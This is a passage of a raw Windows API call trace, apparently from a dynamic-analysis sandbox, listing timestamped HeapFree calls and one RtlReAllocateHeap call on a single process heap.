[0234.849] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.729] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.765] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.768] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.771] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.407] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.407] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.412] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.414] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.418] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.429] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.432] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.434] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.436] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.438] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.441] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.444] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.448] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0238.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.465] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.858] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.870] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.881] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.894] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.901] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0238.907] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4c9f020, Size=0x100000) returned 0x4e31020 [0240.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0240.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0240.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0240.247] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0240.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0240.257] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0240.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0240.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0240.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0240.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0240.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0241.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0241.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0241.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0241.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0241.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0241.361] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0241.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0242.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0242.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0242.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0243.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0243.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0243.794] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.798] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.799] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.829] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.830] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.830] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.831] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.831] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.849] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.849] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.856] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.857] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.858] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.859] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0244.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0244.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0244.236] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.436] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0244.438] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0244.439] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0244.440] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.443] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.628] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.739] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0246.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0246.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0247.418] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0247.418] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0247.434] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0247.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0247.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0247.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0247.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0247.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0247.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0247.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0247.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0247.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0247.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0247.535] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0247.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0247.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0247.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0247.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0248.409] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0248.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0248.412] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0248.413] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0248.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0248.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0248.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0248.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0248.677] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0248.679] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.679] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.688] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.689] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0248.689] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.690] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.694] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0248.694] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.694] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.695] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.695] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.781] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.785] 